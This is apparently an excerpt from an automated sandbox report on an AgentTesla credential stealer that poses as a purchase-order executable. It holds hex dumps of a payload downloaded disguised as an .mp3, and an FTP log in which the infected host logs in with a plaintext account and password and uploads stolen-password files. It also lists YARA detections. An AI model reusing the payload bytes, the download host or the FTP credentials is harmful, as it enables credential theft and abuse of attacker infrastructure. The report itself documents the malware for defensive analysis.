2024-10-01 05:31:42 UTC	8000	IN	Data Raw: 32 35 31 37 32 38 42 43 30 33 30 30 30 36 31 31 30 30 31 31 30 37 32 38 42 44 30 33 30 30 30 36 31 33 31 38 32 38 42 45 30 33 30 30 30 36 31 33 30 31 31 31 30 31 31 31 31 38 31 37 37 33 45 36 30 30 30 30 30 41 32 35 31 31 32 42 31 36 31 31 32 42 38 45 36 39 32 38 42 46 30 33 30 30 30 36 32 35 32 38 43 30 30 33 30 30 30 36 37 45 37 38 30 31 30 30 30 34 32 38 43 31 30 33 30 30 30 36 31 31 30 31 32 38 43 32 30 33 30 30 30 36 32 38 43 33 30 33 30 30 30 36 32 38 43 34 30 33 30 30 30 36 31 31 30 31 32 38 43 35 30 33 30 30 30 36 32 38 43 35 30 33 30 30 30 36 32 38 43 36 30 33 30 30 30 36 32 30 30 30 30 30 30 30 30 30 32 38 44 38 30 33 30 30 30 36 33 41 30 46 30 30 30 30 30 30 32 36 32 30 30 30 30 30 30 30 30 30 33 38 30 34 30 30 30 30 30 30 46 45 30 43 30 42 30 Data Ascii: 251728BC0300061100110728BD030006131828BE0300061301110111181773E600000A25112B16112B8E6928BF0300062528C00300067E7801000428C1030006110128C203000628C303000628C4030006110128C503000628C503000628C6030006200000000028D80300063A0F0000002620000000003804000000FE0C0B0
2024-10-01 05:31:42 UTC	8000	IN	Data Raw: 32 33 37 45 33 46 30 31 30 30 30 41 36 46 33 43 30 31 30 30 30 41 33 38 30 45 30 30 30 30 30 30 31 31 32 33 37 45 34 30 30 31 30 30 30 41 31 31 32 35 36 46 34 31 30 31 30 30 30 41 31 31 32 35 31 37 35 38 31 33 32 35 31 31 32 35 31 31 32 30 33 46 38 33 46 46 46 46 46 46 31 31 32 33 37 45 34 32 30 31 30 30 30 41 36 46 33 43 30 31 30 30 30 41 31 31 32 33 31 31 31 44 33 41 30 41 30 30 30 30 30 30 37 45 34 33 30 31 30 30 30 41 33 38 30 35 30 30 30 30 30 30 37 45 34 34 30 31 30 30 30 41 31 31 31 45 36 46 34 35 30 31 30 30 30 41 31 31 32 33 37 45 34 36 30 31 30 30 30 41 36 46 33 43 30 31 30 30 30 41 31 31 31 41 31 34 31 31 32 32 30 36 36 46 34 37 30 31 30 30 30 41 36 46 31 38 30 31 30 30 30 41 44 44 30 36 30 30 30 30 30 30 32 36 44 44 30 30 30 30 30 30 30 30 31 Data Ascii: 237E3F01000A6F3C01000A380E00000011237E4001000A11256F4101000A112517581325112511203F83FFFFFF11237E4201000A6F3C01000A1123111D3A0A0000007E4301000A38050000007E4401000A111E6F4501000A11237E4601000A6F3C01000A111A141122066F4701000A6F1801000ADD0600000026DD000000001

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49714	67.212.175.162	443	4260	C:\Users\user\AppData\Roaming\Xpnzea.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 05:31:50 UTC	84	OUT	GET /servex/Evzbwt.mp3 HTTP/1.1 Host: wymascensores.com Connection: Keep-Alive
2024-10-01 05:31:50 UTC	210	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 05:31:49 GMT Server: Apache Last-Modified: Mon, 30 Sep 2024 09:28:09 GMT Accept-Ranges: bytes Content-Length: 1914880 Connection: close Content-Type: audio/mpeg
2024-10-01 05:31:50 UTC	7982	IN	Data Raw: 34 44 35 41 39 30 30 30 30 33 30 30 30 30 30 30 30 34 30 30 30 30 30 30 46 46 46 46 30 30 30 30 42 38 30 30 30 30 30 30 30 30 30 30 30 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 38 30 30 30 30 30 30 30 30 45 31 46 42 41 30 45 30 30 42 34 30 39 43 44 32 31 42 38 30 31 34 43 43 44 32 31 35 34 36 38 36 39 37 33 32 30 37 30 37 32 36 46 36 37 37 32 36 31 36 44 32 30 36 33 36 31 36 45 36 45 36 46 37 34 32 30 36 32 36 35 32 30 37 32 37 35 36 45 32 30 36 39 36 45 32 30 34 34 34 46 35 33 32 30 36 44 36 46 36 34 36 35 32 45 30 44 30 44 30 41 32 34 30 30 30 30 30 30 30 30 30 30 30 30 30 Data Ascii: 4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A240000000000000
2024-10-01 05:31:50 UTC	8000	IN	Data Raw: 30 30 30 34 37 42 38 46 30 32 30 30 30 34 36 31 37 45 42 43 30 32 30 30 30 34 32 38 33 46 30 39 30 30 30 36 32 38 31 31 30 30 30 30 32 42 38 30 34 32 30 30 30 30 30 34 32 30 30 35 30 30 30 30 30 30 37 45 35 31 30 32 30 30 30 34 37 42 34 39 30 32 30 30 30 34 33 41 45 38 46 38 46 46 46 46 32 36 32 30 30 32 30 30 30 30 30 30 33 38 44 44 46 38 46 46 46 46 32 30 30 32 39 31 42 39 42 42 36 35 32 30 31 43 43 30 34 36 31 42 36 31 37 45 35 31 30 32 30 30 30 34 37 42 39 34 30 32 30 30 30 34 36 31 37 45 42 43 30 32 30 30 30 34 32 38 33 46 30 39 30 30 30 36 32 30 42 45 41 45 41 31 41 37 32 30 39 37 41 35 31 38 41 35 36 31 37 45 35 31 30 32 30 30 30 34 37 42 34 39 30 32 30 30 30 34 36 31 37 45 42 43 30 32 30 30 30 34 32 38 33 46 30 39 30 30 30 36 32 38 31 32 30 30 30 Data Ascii: 00047B8F020004617EBC020004283F090006281100002B804200000420050000007E510200047B490200043AE8F8FFFF26200200000038DDF8FFFF200291B9BB65201CC0461B617E510200047B94020004617EBC020004283F09000620BEAEA1A72097A518A5617E510200047B49020004617EBC020004283F0900062812000
2024-10-01 05:31:50 UTC	8000	IN	Data Raw: 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 32 32 30 30 31 34 41 35 34 33 30 30 30 30 30 32 32 41 30 30 30 30 30 30 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 Data Ascii: 00000000000000002A220014A5430000022A0000001330030004000000000000000000002A120000142A0000001330030004000000000000000000002A120000142A0000001330030004000000000000000000002A120000142A0000001330030004000000000000000000002A120000142A000000133003000400000000000
2024-10-01 05:31:50 UTC	8000	IN	Data Raw: 30 30 30 30 33 38 43 31 46 46 46 46 46 46 32 41 37 45 39 37 30 32 30 30 30 34 32 38 41 42 30 38 30 30 30 36 32 30 30 30 30 30 30 30 30 30 37 45 35 31 30 32 30 30 30 34 37 42 32 46 30 32 30 30 30 34 33 39 41 32 46 46 46 46 46 46 32 36 32 30 30 31 30 30 30 30 30 30 33 38 39 37 46 46 46 46 46 46 31 32 30 30 30 30 31 37 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 30 33 33 30 30 38 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 37 32 41 34 31 31 43 30 30 30 30 30 30 30 30 30 30 30 30 33 38 30 30 30 30 30 30 33 32 30 32 30 30 30 30 36 41 30 32 30 30 30 30 33 41 30 30 30 30 30 30 31 42 30 30 30 30 30 31 31 33 33 30 30 33 30 30 38 30 30 30 30 30 30 30 30 31 30 30 30 30 31 31 32 38 38 31 30 33 30 30 30 36 32 30 30 Data Ascii: 000038C1FFFFFF2A7E9702000428AB08000620000000007E510200047B2F02000439A2FFFFFF2620010000003897FFFFFF120000172A000000120000142A0000000330080004000000000000000000172A411C00000000000038000000320200006A0200003A0000001B0000011330030080000000010000112881030006200
2024-10-01 05:31:50 UTC	8000	IN	Data Raw: 32 41 31 33 33 30 30 33 30 30 38 30 30 30 30 30 30 30 30 31 30 30 30 30 31 31 32 38 38 31 30 33 30 30 30 36 32 30 30 31 30 30 30 30 30 30 46 45 30 45 30 30 30 30 33 38 30 30 30 30 30 30 30 30 46 45 30 43 30 30 30 30 34 35 30 33 30 30 30 30 30 30 30 36 30 30 30 30 30 30 32 46 30 30 30 30 30 30 30 35 30 30 30 30 30 30 33 38 30 31 30 30 30 30 30 30 32 41 37 45 39 38 30 32 30 30 30 34 32 38 41 46 30 38 30 30 30 36 32 30 30 32 30 30 30 30 30 30 37 45 35 31 30 32 30 30 30 34 37 42 36 35 30 32 30 30 30 34 33 39 43 42 46 46 46 46 46 46 32 36 32 30 30 32 30 30 30 30 30 30 33 38 43 30 46 46 46 46 46 46 37 45 39 37 30 32 30 30 30 34 32 38 41 42 30 38 30 30 30 36 32 30 30 30 30 30 30 30 30 30 37 45 35 31 30 32 30 30 30 34 37 42 38 32 30 32 30 30 30 34 33 41 41 32 46 Data Ascii: 2A13300300800000000100001128810300062001000000FE0E00003800000000FE0C00004503000000060000002F0000000500000038010000002A7E9802000428AF08000620020000007E510200047B6502000439CBFFFFFF26200200000038C0FFFFFF7E9702000428AB08000620000000007E510200047B820200043AA2F
2024-10-01 05:31:50 UTC	8000	IN	Data Raw: 30 30 30 34 31 34 46 45 30 31 32 41 30 30 30 30 30 30 33 36 32 42 30 35 32 38 43 37 37 32 30 33 35 43 37 45 34 44 30 31 30 30 30 34 32 41 30 30 30 30 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 34 32 41 31 33 33 30 30 34 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 34 32 41 31 33 33 30 30 35 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 30 33 33 30 30 38 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 34 32 41 34 31 33 34 30 30 30 30 30 32 30 30 30 30 30 30 39 45 30 30 30 30 30 30 41 37 30 30 30 30 30 30 34 35 30 31 30 30 30 30 36 33 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 30 30 30 30 30 30 36 32 30 30 30 30 30 30 34 36 30 31 30 Data Ascii: 000414FE012A000000362B0528C772035C7E4D0100042A00001330030004000000000000000000142A1330040004000000000000000000142A1330050004000000000000000000002A0330080004000000000000000000142A41340000020000009E000000A7000000450100006300000000000000020000006200000046010
2024-10-01 05:31:50 UTC	8000	IN	Data Raw: 31 32 30 35 31 31 30 36 30 39 31 31 30 34 31 46 30 41 31 46 30 46 31 46 33 37 30 36 32 38 36 43 30 33 30 30 30 36 31 32 30 34 31 31 30 35 31 31 30 36 30 39 31 37 31 46 31 35 31 46 33 38 30 36 32 38 36 43 30 33 30 30 30 36 31 32 30 33 31 31 30 34 31 31 30 35 31 31 30 36 31 45 31 43 31 46 33 39 30 36 32 38 36 43 30 33 30 30 30 36 31 32 30 36 30 39 31 31 30 34 31 31 30 35 31 46 30 46 31 46 30 41 31 46 33 41 30 36 32 38 36 43 30 33 30 30 30 36 31 32 30 35 31 31 30 36 30 39 31 31 30 34 31 43 31 46 30 46 31 46 33 42 30 36 32 38 36 43 30 33 30 30 30 36 31 32 30 34 31 31 30 35 31 31 30 36 30 39 31 46 30 44 31 46 31 35 31 46 33 43 30 36 32 38 36 43 30 33 30 30 30 36 31 32 30 33 31 31 30 34 31 31 30 35 31 31 30 36 31 41 31 43 31 46 33 44 30 36 32 38 36 43 30 33 30 Data Ascii: 120511060911041F0A1F0F1F3706286C03000612041105110609171F151F3806286C03000612031104110511061E1C1F3906286C030006120609110411051F0F1F0A1F3A06286C030006120511060911041C1F0F1F3B06286C030006120411051106091F0D1F151F3C06286C03000612031104110511061A1C1F3D06286C030
2024-10-01 05:31:50 UTC	8000	IN	Data Raw: 46 45 30 43 30 33 30 30 32 30 30 43 30 30 30 30 30 30 46 45 30 43 31 31 30 30 39 43 32 30 39 37 30 30 30 30 30 30 32 30 34 30 30 30 30 30 30 30 35 39 46 45 30 45 32 37 30 30 46 45 30 43 30 33 30 30 32 30 30 43 30 30 30 30 30 30 46 45 30 43 32 37 30 30 39 43 32 30 36 46 30 30 30 30 30 30 32 30 33 42 30 30 30 30 30 30 35 38 46 45 30 45 31 31 30 30 46 45 30 43 30 33 30 30 32 30 30 44 30 30 30 30 30 30 46 45 30 43 31 31 30 30 39 43 46 45 30 43 30 33 30 30 32 30 30 44 30 30 30 30 30 30 32 30 44 35 30 30 30 30 30 30 32 30 34 37 30 30 30 30 30 30 35 39 39 43 32 30 33 31 30 30 30 30 30 30 32 30 32 35 30 30 30 30 30 30 35 38 46 45 30 45 31 31 30 30 46 45 30 43 30 33 30 30 32 30 30 44 30 30 30 30 30 30 46 45 30 43 31 31 30 30 39 43 46 45 30 43 30 33 30 30 32 30 30 Data Ascii: FE0C0300200C000000FE0C11009C2097000000204000000059FE0E2700FE0C0300200C000000FE0C27009C206F000000203B00000058FE0E1100FE0C0300200D000000FE0C11009CFE0C0300200D00000020D50000002047000000599C2031000000202500000058FE0E1100FE0C0300200D000000FE0C11009CFE0C0300200
2024-10-01 05:31:50 UTC	8000	IN	Data Raw: 32 35 31 37 32 38 42 43 30 33 30 30 30 36 31 31 30 30 31 31 30 37 32 38 42 44 30 33 30 30 30 36 31 33 31 38 32 38 42 45 30 33 30 30 30 36 31 33 30 31 31 31 30 31 31 31 31 38 31 37 37 33 45 36 30 30 30 30 30 41 32 35 31 31 32 42 31 36 31 31 32 42 38 45 36 39 32 38 42 46 30 33 30 30 30 36 32 35 32 38 43 30 30 33 30 30 30 36 37 45 37 38 30 31 30 30 30 34 32 38 43 31 30 33 30 30 30 36 31 31 30 31 32 38 43 32 30 33 30 30 30 36 32 38 43 33 30 33 30 30 30 36 32 38 43 34 30 33 30 30 30 36 31 31 30 31 32 38 43 35 30 33 30 30 30 36 32 38 43 35 30 33 30 30 30 36 32 38 43 36 30 33 30 30 30 36 32 30 30 30 30 30 30 30 30 30 32 38 44 38 30 33 30 30 30 36 33 41 30 46 30 30 30 30 30 30 32 36 32 30 30 30 30 30 30 30 30 30 33 38 30 34 30 30 30 30 30 30 46 45 30 43 30 42 30 Data Ascii: 251728BC0300061100110728BD030006131828BE0300061301110111181773E600000A25112B16112B8E6928BF0300062528C00300067E7801000428C1030006110128C203000628C303000628C4030006110128C503000628C503000628C6030006200000000028D80300063A0F0000002620000000003804000000FE0C0B0
2024-10-01 05:31:50 UTC	8000	IN	Data Raw: 32 33 37 45 33 46 30 31 30 30 30 41 36 46 33 43 30 31 30 30 30 41 33 38 30 45 30 30 30 30 30 30 31 31 32 33 37 45 34 30 30 31 30 30 30 41 31 31 32 35 36 46 34 31 30 31 30 30 30 41 31 31 32 35 31 37 35 38 31 33 32 35 31 31 32 35 31 31 32 30 33 46 38 33 46 46 46 46 46 46 31 31 32 33 37 45 34 32 30 31 30 30 30 41 36 46 33 43 30 31 30 30 30 41 31 31 32 33 31 31 31 44 33 41 30 41 30 30 30 30 30 30 37 45 34 33 30 31 30 30 30 41 33 38 30 35 30 30 30 30 30 30 37 45 34 34 30 31 30 30 30 41 31 31 31 45 36 46 34 35 30 31 30 30 30 41 31 31 32 33 37 45 34 36 30 31 30 30 30 41 36 46 33 43 30 31 30 30 30 41 31 31 31 41 31 34 31 31 32 32 30 36 36 46 34 37 30 31 30 30 30 41 36 46 31 38 30 31 30 30 30 41 44 44 30 36 30 30 30 30 30 30 32 36 44 44 30 30 30 30 30 30 30 30 31 Data Ascii: 237E3F01000A6F3C01000A380E00000011237E4001000A11256F4101000A112517581325112511203F83FFFFFF11237E4201000A6F3C01000A1123111D3A0A0000007E4301000A38050000007E4401000A111E6F4501000A11237E4601000A6F3C01000A111A141122066F4701000A6F1801000ADD0600000026DD000000001

FTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Oct 1, 2024 07:31:31.443440914 CEST	21	49706	5.2.84.236	192.168.2.8	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 08:31. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 08:31. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 08:31. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 08:31. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 10 minutes of inactivity.
Oct 1, 2024 07:31:31.443697929 CEST	49706	21	192.168.2.8	5.2.84.236	USER fgghv@alternatifplastik.com
Oct 1, 2024 07:31:31.663798094 CEST	21	49706	5.2.84.236	192.168.2.8	331 User fgghv@alternatifplastik.com OK. Password required
Oct 1, 2024 07:31:31.663960934 CEST	49706	21	192.168.2.8	5.2.84.236	PASS Fineboy777@
Oct 1, 2024 07:31:31.951602936 CEST	21	49706	5.2.84.236	192.168.2.8	230 OK. Current restricted directory is /
Oct 1, 2024 07:31:32.171857119 CEST	21	49706	5.2.84.236	192.168.2.8	504 Unknown command
Oct 1, 2024 07:31:32.172070980 CEST	49706	21	192.168.2.8	5.2.84.236	PWD
Oct 1, 2024 07:31:32.392071962 CEST	21	49706	5.2.84.236	192.168.2.8	257 "/" is your current location
Oct 1, 2024 07:31:32.394761086 CEST	49706	21	192.168.2.8	5.2.84.236	TYPE I
Oct 1, 2024 07:31:32.614883900 CEST	21	49706	5.2.84.236	192.168.2.8	200 TYPE is now 8-bit binary
Oct 1, 2024 07:31:32.618262053 CEST	49706	21	192.168.2.8	5.2.84.236	PASV
Oct 1, 2024 07:31:32.838507891 CEST	21	49706	5.2.84.236	192.168.2.8	227 Entering Passive Mode (5,2,84,236,247,252)
Oct 1, 2024 07:31:32.844326019 CEST	49706	21	192.168.2.8	5.2.84.236	STOR PW_user-841675_2024_10_01_01_31_29.html
Oct 1, 2024 07:31:33.459727049 CEST	21	49706	5.2.84.236	192.168.2.8	150 Accepted data connection
Oct 1, 2024 07:31:33.680572987 CEST	21	49706	5.2.84.236	192.168.2.8	226-File successfully transferred 226-File successfully transferred226 0.221 seconds (measured here), 1.42 Kbytes per second
Oct 1, 2024 07:31:46.627922058 CEST	21	49712	5.2.84.236	192.168.2.8	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 100 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 100 allowed.220-Local time is now 08:31. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 100 allowed.220-Local time is now 08:31. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 100 allowed.220-Local time is now 08:31. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 100 allowed.220-Local time is now 08:31. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 10 minutes of inactivity.
Oct 1, 2024 07:31:46.645164967 CEST	49712	21	192.168.2.8	5.2.84.236	USER fgghv@alternatifplastik.com
Oct 1, 2024 07:31:46.868467093 CEST	21	49712	5.2.84.236	192.168.2.8	331 User fgghv@alternatifplastik.com OK. Password required
Oct 1, 2024 07:31:46.868599892 CEST	49712	21	192.168.2.8	5.2.84.236	PASS Fineboy777@
Oct 1, 2024 07:31:47.117877960 CEST	21	49712	5.2.84.236	192.168.2.8	230 OK. Current restricted directory is /
Oct 1, 2024 07:31:47.341084957 CEST	21	49712	5.2.84.236	192.168.2.8	504 Unknown command
Oct 1, 2024 07:31:47.341229916 CEST	49712	21	192.168.2.8	5.2.84.236	PWD
Oct 1, 2024 07:31:47.564277887 CEST	21	49712	5.2.84.236	192.168.2.8	257 "/" is your current location
Oct 1, 2024 07:31:47.564481974 CEST	49712	21	192.168.2.8	5.2.84.236	TYPE I
Oct 1, 2024 07:31:47.787836075 CEST	21	49712	5.2.84.236	192.168.2.8	200 TYPE is now 8-bit binary
Oct 1, 2024 07:31:47.788686037 CEST	49712	21	192.168.2.8	5.2.84.236	PASV
Oct 1, 2024 07:31:48.011962891 CEST	21	49712	5.2.84.236	192.168.2.8	227 Entering Passive Mode (5,2,84,236,240,72)
Oct 1, 2024 07:31:48.017800093 CEST	49712	21	192.168.2.8	5.2.84.236	STOR PW_user-841675_2024_10_01_01_31_44.html
Oct 1, 2024 07:31:48.641787052 CEST	21	49712	5.2.84.236	192.168.2.8	150 Accepted data connection
Oct 1, 2024 07:31:48.866142035 CEST	21	49712	5.2.84.236	192.168.2.8	226-File successfully transferred 226-File successfully transferred226 0.224 seconds (measured here), 1.39 Kbytes per second
Oct 1, 2024 07:31:54.746680975 CEST	21	49715	5.2.84.236	192.168.2.8	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 100 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 100 allowed.220-Local time is now 08:31. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 100 allowed.220-Local time is now 08:31. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 100 allowed.220-Local time is now 08:31. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 100 allowed.220-Local time is now 08:31. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 10 minutes of inactivity.
Oct 1, 2024 07:31:54.750654936 CEST	49715	21	192.168.2.8	5.2.84.236	USER fgghv@alternatifplastik.com
Oct 1, 2024 07:31:54.970118046 CEST	21	49715	5.2.84.236	192.168.2.8	331 User fgghv@alternatifplastik.com OK. Password required
Oct 1, 2024 07:31:54.972088099 CEST	49715	21	192.168.2.8	5.2.84.236	PASS Fineboy777@
Oct 1, 2024 07:31:55.214142084 CEST	21	49715	5.2.84.236	192.168.2.8	230 OK. Current restricted directory is /
Oct 1, 2024 07:31:55.433476925 CEST	21	49715	5.2.84.236	192.168.2.8	504 Unknown command
Oct 1, 2024 07:31:55.433727980 CEST	49715	21	192.168.2.8	5.2.84.236	PWD
Oct 1, 2024 07:31:55.653544903 CEST	21	49715	5.2.84.236	192.168.2.8	257 "/" is your current location
Oct 1, 2024 07:31:55.653718948 CEST	49715	21	192.168.2.8	5.2.84.236	TYPE I
Oct 1, 2024 07:31:55.873261929 CEST	21	49715	5.2.84.236	192.168.2.8	200 TYPE is now 8-bit binary
Oct 1, 2024 07:31:55.873579979 CEST	49715	21	192.168.2.8	5.2.84.236	PASV
Oct 1, 2024 07:31:56.092916012 CEST	21	49715	5.2.84.236	192.168.2.8	227 Entering Passive Mode (5,2,84,236,252,210)
Oct 1, 2024 07:31:56.098704100 CEST	49715	21	192.168.2.8	5.2.84.236	STOR PW_user-841675_2024_10_01_01_31_52.html
Oct 1, 2024 07:31:56.715498924 CEST	21	49715	5.2.84.236	192.168.2.8	150 Accepted data connection
Oct 1, 2024 07:31:56.936228991 CEST	21	49715	5.2.84.236	192.168.2.8	226-File successfully transferred 226-File successfully transferred226 0.221 seconds (measured here), 1.42 Kbytes per second

Target ID:	0
Start time:	01:31:23
Start date:	01/10/2024
Path:	C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PO_9876563647-FLOWTRONIX (FT)UUE.exe"
Imagebase:	0x520000
File size:	537'600 bytes
MD5 hash:	0FD28ED18E522B9EEF69B57AA8BDBF8F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1472676483.00000000028F8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1479691061.0000000003A03000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1479691061.0000000003A03000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1485671738.0000000005D40000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1472676483.0000000002C6C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1472676483.0000000002C6C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1479691061.0000000003AAE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1479691061.0000000003AAE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1479691061.0000000003AAE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:31:27
Start date:	01/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x3a0000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.1623982738.0000000000772000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000002.00000002.1623982738.0000000000772000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000002.00000002.1629857451.00000000028CE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.1629857451.0000000002881000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000002.00000002.1629857451.0000000002881000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	01:31:40
Start date:	01/10/2024
Path:	C:\Users\user\AppData\Roaming\Xpnzea.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Xpnzea.exe"
Imagebase:	0x880000
File size:	537'600 bytes
MD5 hash:	0FD28ED18E522B9EEF69B57AA8BDBF8F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.1652064396.0000000003D1F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.1652064396.0000000003D1F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000006.00000002.1652064396.0000000004583000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000006.00000002.1627992334.0000000002C98000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.1627992334.00000000030FE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 